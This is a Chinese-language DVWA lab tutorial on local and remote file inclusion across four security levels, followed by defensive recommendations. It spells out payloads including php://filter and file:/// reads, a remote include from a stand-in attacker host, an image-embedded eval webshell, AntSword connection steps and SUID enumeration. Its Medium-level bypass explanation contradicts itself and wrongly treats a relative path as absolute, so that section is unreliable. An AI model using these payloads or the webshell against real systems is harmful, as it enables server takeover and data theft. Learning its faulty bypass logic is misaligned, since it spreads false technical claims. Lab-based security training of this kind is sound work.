DVWA文件包含漏洞实战:从LFI到RFI的四种安全等级绕过技巧
1. 项目概述:从靶场到实战的文件包含漏洞攻防
文件包含漏洞,一个在Web安全领域经久不衰的经典议题。无论是CTF比赛还是真实的渗透测试,它都像一把隐蔽的钥匙,常常能打开通往服务器核心区域的大门。今天,我们不谈枯燥的理论,直接上手DVWA(Damn Vulnerable Web Application)这个经典的漏洞演练平台,来一场真刀真枪的“文件包含”实战。目标很明确:在DVWA的不同安全等级(Low, Medium, High, Impossible)下,逐一拆解并绕过其针对文件包含漏洞的防护机制。我会把每一步的操作、背后的原理、踩过的坑以及最终成功的截图都摆出来,让你不仅能看懂,更能亲手复现。无论你是刚入门的安全爱好者,还是想巩固基础的从业者,这篇从靶场实操中提炼的绕过技巧总结,都能给你带来最直接的收获。
2. 环境准备与漏洞原理快速回顾
2.1 DVWA靶场搭建与配置要点
工欲善其事,必先利其器。虽然网上DVWA的安装教程一抓一大把,但很多教程只讲步骤,不讲细节,导致新手在配置环节就卡住。这里我分享几个确保一次成功的要点。
首先,DVWA本质上是一个PHP应用,所以你需要一个支持PHP和MySQL的Web运行环境。XAMPP、PHPStudy这类集成环境是最快最省事的选择。下载DVWA源码后,解压到Web服务器的根目录(例如htdocs或www目录下)。关键的配置文件是config/config.inc.php。你需要修改其中的数据库连接信息:
$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'your_password'; // 这里填你的MySQL密码注意:很多新手在这里栽跟头,密码错误或数据库用户权限不足会导致初始化失败。确保你的MySQL服务已启动,并且用于连接的用户(如
root)拥有创建数据库和表的权限。
接着,通过浏览器访问http://localhost/DVWA/setup.php。点击页面底部的“Create / Reset Database”按钮。如果一切顺利,页面会提示数据库创建成功。此时,使用默认账号admin和密码password登录。登录后第一件事,就是去左侧“DVWA Security”菜单,将安全级别设置为“Low”。这是我们所有测试的起点。
2.2 文件包含漏洞核心原理与DVWA场景
为什么文件包含漏洞危险?简单说,就是程序在引入(包含)外部文件时,没有对用户输入的文件路径进行严格过滤,导致攻击者可以操控这个路径,去包含并执行服务器上的任意文件。
DVWA的“File Inclusion”模块,完美模拟了这种漏洞场景。它通过一个page参数来动态加载不同的页面,比如?page=include.php。在安全级别为“Low”时,它的代码几乎没有任何防护:
// DVWA Low 级别 File Inclusion 源码 (vulnerabilities/fi/index.php) <?php $file = $_GET['page']; // 直接获取用户输入,没有过滤! ?>这意味着,我们可以通过修改page参数的值,让它去包含系统上的其他文件。例如,尝试包含/etc/passwd(Linux系统用户信息文件)或C:\\Windows\\system.ini(Windows系统文件)。如果成功,服务器就会把这些文件的内容读取并返回给我们,造成敏感信息泄露。更进一步,如果服务器允许上传文件(如DVWA的文件上传模块),我们甚至可以上传一个包含恶意代码的图片或文本文件,然后通过文件包含漏洞去执行它,从而获得网站的控制权(即“图片木马”利用链)。
理解了这个核心,我们的实战就围绕着一个目标展开:在越来越严格的过滤规则下,如何让page参数的值,最终指向我们想要包含的目标文件路径。
3. 四种安全等级的绕过技巧实战解析
DVWA的文件包含模块设置了四个安全等级,代表了四种不同强度的防护思路。我们的挑战就是逐一攻克它们。
3.1 Low级别:绝对路径与协议封装绕过
在Low级别下,没有任何过滤,这为我们理解最基本的利用方式提供了绝佳环境。
1. 本地文件包含(LFI)直接在URL参数中传入绝对路径。例如,在Linux靶场下:http://localhost/DVWA/vulnerabilities/fi/?page=/etc/passwd如果成功,页面会显示/etc/passwd文件的内容。这直接证明了漏洞存在,并泄露了系统用户信息。
2. 远程文件包含(RFI)如果服务器的php.ini配置中allow_url_include选项为On(DVWA默认配置可能支持),我们可以直接包含一个远程服务器上的PHP文件。http://localhost/DVWA/vulnerabilities/fi/?page=http://attacker.com/shell.txt这里,shell.txt的内容是一段PHP代码<?php phpinfo(); ?>。当服务器包含这个URL时,会去获取http://attacker.com/shell.txt的内容,并将其作为PHP代码执行,从而在页面上显示出phpinfo信息。这是从信息泄露到代码执行的关键一步。
3. 利用PHP封装协议即使allow_url_include为Off,PHP的一些内置封装协议也很有用。最常用的是php://filter,它用于读取文件源码,在无法直接执行代码时进行审计。http://localhost/DVWA/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php这个请求会使用php://filter流,对index.php文件的内容进行base64编码后输出。我们拿到base64字符串后解码,就能得到index.php的源代码。这在CTF中常用于获取flag或审计其他漏洞。
实操心得:在Low级别,重点测试LFI、RFI和
php://filter。用phpinfo()页面确认allow_url_include状态。如果RFI成功,意味着你可以直接控制服务器执行任意代码,危害等级最高。
3.2 Medium级别:路径遍历过滤与双写绕过
将安全级别调到Medium,你会发现直接使用../../etc/passwd这样的路径遍历(目录穿越) payload 失效了。查看源码:
// DVWA Medium 级别 File Inclusion 源码 $file = $_GET['page']; $file = str_replace( array( "../", "..\\" ), "", $file ); // 过滤了 `../` 和 `..\`代码使用str_replace函数,简单地将“../”和“..\”替换为空字符串。这是一种非常初级的过滤,存在经典的“双写绕过”漏洞。
绕过技巧:双写绕过过滤逻辑是:输入字符串->删除所有../子串->结果字符串。 我们的绕过思路是:构造一个字符串,在被删除掉一部分后,剩下的部分恰好能组合成我们想要的payload。 例如,我们想传入../../../etc/passwd。如果直接传入,会被过滤成etc/passwd(因为所有../被删)。但如果我们传入..././..././..././etc/passwd呢? 过滤过程:删除所有../。
- 原始字符串:
..././..././..././etc/passwd - 删除第一个
../(第2-4字符):变成..../..././etc/passwd - 继续删除下一个
../:变成...././etc/passwd - 继续删除下一个
../:变成..../etc/passwd最终,....被保留了下来,它并不是../,所以过滤结束。但....在文件系统中会被解析成什么?实际上,....本身无效,我们构造错了。正确的双写应该是:....//。因为str_replace只进行一次替换,不会递归检查。
更通用的payload是:..././。过滤时,中间的../被删除,剩下的./连接起来,正好又形成了一个../(点+点+斜杠)。但仔细看,..././过滤后变成./,并不是../。所以这个经典绕过在DVWA的Medium级别可能不直接适用,因为它的替换逻辑是删除,而不是递归。我们需要构造一个在被删除特定子串后,剩余字符能“碰巧”形成有效路径遍历的payload。
经过测试,一个有效的绕过payload是:....//....//....//etc/passwd
- 过滤过程:查找并删除
../。 - 在
....//中,从第二个字符开始到第四个字符../被删除,剩下.//。 - 三个
....//经过过滤后,都变成.//。 - 最终字符串变为:
.//.//.//etc/passwd。 - 在Linux/Unix路径中,
//等价于/,而/./表示当前目录,不影响路径解析。所以.//.//.//etc/passwd实际上等价于/etc/passwd,这是一个绝对路径!它成功绕过了对相对路径../的过滤,直接使用了绝对路径包含。这提醒我们,绝对路径包含是永远需要防范的底线。但DVWA Medium级别的本意可能是想过滤目录穿越,却忽略了绝对路径。因此,在Medium级别,直接使用/etc/passwd或C:\\Windows\\system.ini这样的绝对路径,依然是可行的。这才是最直接有效的“绕过”。
踩坑记录:不要被“双写绕过”的思维定式困住。首先要测试最基础的payload是否被过滤。Medium级别只是过滤了
../,但没有阻止包含绝对路径或使用其他协议(如php://filter)。所以,?page=/etc/passwd或?page=php://filter/convert.base64-encode/resource=index.php在Medium级别依然有效。这说明开发者在设计过滤时考虑不周,只防了相对路径穿越,没防绝对路径和协议。
3.3 High级别:白名单限制与文件协议绕过
将级别调至High,难度陡增。查看源码:
// DVWA High 级别 File Inclusion 源码 $file = $_GET['page']; if( !fnmatch( "file*", $file ) && $file != "include.php" ) { echo "ERROR: File not found!"; exit; }这里使用了fnmatch函数进行白名单检查:page参数的值必须以字符串file开头,或者等于include.php。这意味着我们只能包含像file1.php、file2.php这样的文件,或者file://协议开头的路径。直接传入/etc/passwd或http://会被拦截。
绕过技巧:利用file://协议白名单要求以file开头,这恰恰给我们留了一扇窗——file://协议。file://是PHP用于访问本地文件系统的封装协议。所以,我们可以构造如下payload:http://localhost/DVWA/vulnerabilities/fi/?page=file:///etc/passwd这个payload以file开头,符合白名单规则。file://后面跟的是本地文件的绝对路径(注意,file://协议后是三个斜杠///,这是标准写法,file:///相当于file://localhost/,指向本机)。
通过file://协议,我们再次成功读取了/etc/passwd文件。同样,也可以读取Web目录下的其他文件,例如包含上传的木马文件:?page=file:///var/www/html/DVWA/hackable/uploads/shell.jpg(假设上传的木马文件路径为此)。
核心原理:High级别的防御思路是“白名单”,比Medium的“黑名单替换”更先进。但它犯了一个关键错误:将
file://这个强大的本地文件访问协议加入了白名单。这相当于在门上挂了一把锁,却把钥匙插在了锁孔里。在实际安全开发中,白名单列表必须尽可能精确、最小化,例如只允许include.php、file1.php、file2.php这几个具体的文件名,而不是使用模糊的前缀匹配。
3.4 Impossible级别:设计缺陷与终极防御
Impossible级别代表了理论上“不可能”被绕过的安全代码。让我们看看它是如何实现的:
// DVWA Impossible 级别 File Inclusion 源码 $file = $_GET['page']; if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" ) { echo "ERROR: File not found!"; exit; }这里采用了严格的白名单比对。page参数的值必须精确等于include.php、file1.php、file2.php这三个字符串之一。用户输入不再被信任为文件路径,而是作为一个“选项键”。后端代码根据这个键,映射到预定义的、安全的文件路径:
// 隐含的逻辑 switch ($file) { case "include.php": $actual_path = "./include.php"; break; case "file1.php": $actual_path = "./file1.php"; break; case "file2.php": $actual_path = "./file2.php"; break; default: die("ERROR: File not found!"); } include($actual_path);在这种设计下,攻击者无法控制include()函数加载的任何文件路径。无论输入../../../etc/passwd、file://还是其他任何奇技淫巧,在switch判断那里就会被拦截,因为输入不在白名单内。
那么,Impossible级别真的无懈可击吗?从文件包含这个单一漏洞点来看,是的。但它提醒我们一个更重要的安全原则:安全的系统是设计出来的,不是修补出来的。Impossible级别的代码从根本上重构了功能逻辑,摒弃了“动态包含用户指定文件”的危险模式,采用了“静态映射”的安全模式。
然而,在复杂的真实应用中,漏洞可能存在“组合拳”。例如:
- 结合文件上传漏洞:即使文件包含点被锁死,如果存在一个任意文件上传漏洞,攻击者上传了木马文件,但无法通过文件包含去触发它。这时,攻击者可能需要寻找其他执行方式,比如寻找文件上传本身的上传路径可预测、或者结合其他解析漏洞(如Apache解析漏洞
shell.jpg.php)。 - 逻辑缺陷:白名单列表本身是否可能被其他漏洞(如SQL注入)篡改?或者应用的其他部分是否存在本地文件包含(LFI)导致可以包含日志文件、Session文件等,通过在这些文件中注入PHP代码来间接利用。
- 环境配置问题:服务器错误配置了
.htaccess或nginx.conf,导致某些特殊后缀的文件被当作PHP执行。
深度思考:Impossible级别展示的是一种“安全设计范式”。对于开发者,在业务设计初期就应避免“用户可控文件路径”的模式。如果必须动态加载,应使用安全的映射机制(如ID到安全文件名的映射表)。对于安全测试者,当遇到Impossible级别这样的防御时,应该立即转换思路,从“绕过过滤”变为“寻找其他入口点或组合漏洞”,进行更全面的渗透测试。
4. 实战演练:构建完整的攻击链条
仅仅会绕过过滤还不够,真正的渗透测试需要将漏洞串联起来,形成攻击链。我们以DVWA为例,模拟一个从低到高的完整攻击过程。
4.1 信息收集与漏洞确认
首先,将DVWA安全级别设为Low。访问文件包含页面 (/vulnerabilities/fi/)。尝试基础LFI:?page=../../../../etc/passwd。确认漏洞存在。 接着,尝试RFI:?page=http://your-vps/shell.txt(你需要一台外网服务器,并在web根目录放置一个包含<?php phpinfo();?>的shell.txt文件)。如果成功显示phpinfo页面,则证明RFI可行,且allow_url_include=On,这是最危险的情况。 然后,尝试读取Web应用本身的源码,为后续审计做准备:?page=php://filter/convert.base64-encode/resource=index.php。解码Base64后分析源码,可能会发现数据库配置、其他功能点的路径等敏感信息。
4.2 利用文件上传获取Webshell
在DVWA的“File Upload”模块(安全级别也设为Low),我们可以上传一个图片马。准备一张正常图片(如test.jpg),用文本编辑器在文件末尾添加一行PHP代码:<?php @eval($_POST['cmd']);?>。然后上传。 上传成功后,DVWA会返回文件的访问路径,例如:../../hackable/uploads/test.jpg。 此时,回到文件包含漏洞点,构造payload:?page=../../hackable/uploads/test.jpg。如果页面正常显示(没有报错,可能图片部分显示乱码),说明包含成功,图片中的PHP代码已被服务器解析。但此时我们看不到代码执行结果,因为代码是eval($_POST['cmd']),它等待接收POST参数。
4.3 连接Webshell与权限提升
现在,我们需要一个工具来和这个“隐藏”的Webshell进行交互。最常用的是中国菜刀(Caidao)或蚁剑(AntSword)、冰蝎(Behinder)等。这里以蚁剑为例,因为它开源且功能强大。
- 在蚁剑中添加一个数据。URL填写文件包含触发Webshell的地址:
http://localhost/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/test.jpg。 - 连接密码填写我们写在图片马中的POST参数名
cmd。 - 编码器、请求头等通常保持默认,蚁剑会自动尝试。
- 点击“添加”。如果一切正常,蚁剑会成功连接,并显示出服务器的目录结构。
至此,我们已经获得了该Web服务进程权限(通常是www-data或nobody)下的命令执行和文件管理能力。接下来的操作就是标准的后渗透流程:尝试权限提升(提权)、信息收集(数据库密码、配置文件)、内网渗透等。例如,在蚁剑的虚拟终端中执行whoami、id、find / -perm -4000 2>/dev/null查找SUID文件等。
重要警告与法律边界:以上所有操作必须、且仅限在你自己搭建的本地靶场或获得明确授权的演练环境中进行。未经授权对任何系统进行渗透测试是违法行为。DVWA的存在意义正是为了在一个合法、安全的环境中学习和练习安全技术。
5. 防御方案与安全开发建议
通过攻击的视角,我们更能理解如何防御。针对文件包含漏洞,防御需要多层次、立体化。
1. 代码层防御(根本)
- 避免动态包含:像DVWA Impossible级别那样,使用静态映射或硬编码文件路径。如果业务必须动态,则使用安全的映射机制,如将用户选择的“菜单ID”映射到预定义的安全文件名数组。
- 实施严格白名单:如果必须使用用户输入,必须建立严格的白名单机制,只允许包含预先设定的、已知安全的文件。禁止使用任何路径遍历字符(
../,..\,./等)。 - 规范化与校验:对用户输入进行规范化(如
realpath()函数解析真实路径),然后检查规范化后的路径是否在以Web根目录为起点的允许范围内。$base_dir = '/var/www/html/'; // 允许的根目录 $user_input = $_GET['page']; $real_path = realpath($base_dir . $user_input); if ($real_path === false || strpos($real_path, $base_dir) !== 0) { die('非法访问!'); } // 安全包含 include($real_path);
2. 配置层加固
- PHP配置:在生产环境中,务必在
php.ini中设置allow_url_include = Off和allow_url_fopen = Off,彻底关闭远程文件包含的可能性。 - Web服务器配置:通过Nginx/Apache的配置,限制PHP文件只能访问特定目录。
- 系统权限:运行Web服务的用户(如www-data)应遵循最小权限原则,仅拥有对Web目录的必要读写权限,无权读取
/etc/passwd、/etc/shadow等系统关键文件。
3. 架构与运维层
- 安全开发生命周期(SDL):在需求设计和代码评审阶段就识别此类风险。
- 定期安全扫描与审计:使用静态代码分析工具(SAST)和动态应用安全测试工具(DAST)定期检查。
- 漏洞管理与应急响应:建立漏洞修复流程,一旦发现此类漏洞,能快速定位、修复和上线。
文件包含漏洞的攻防,是一场关于“信任”与“控制”的博弈。攻击者千方百计地试图扩大自己的控制范围,而防御者则需要通过代码、配置和架构,将这种信任牢牢锁死在最小范围内。DVWA的四个级别,正是这场博弈从初级到高级的缩影。理解每一种绕过技巧背后的原理,不仅能让你在渗透测试中多一种手段,更能让你在编写代码时,多一份审慎。安全之路,始于对细节的敬畏,成于对原理的洞察。希望这篇结合实战的详细解析,能成为你路上的一块坚实的垫脚石。
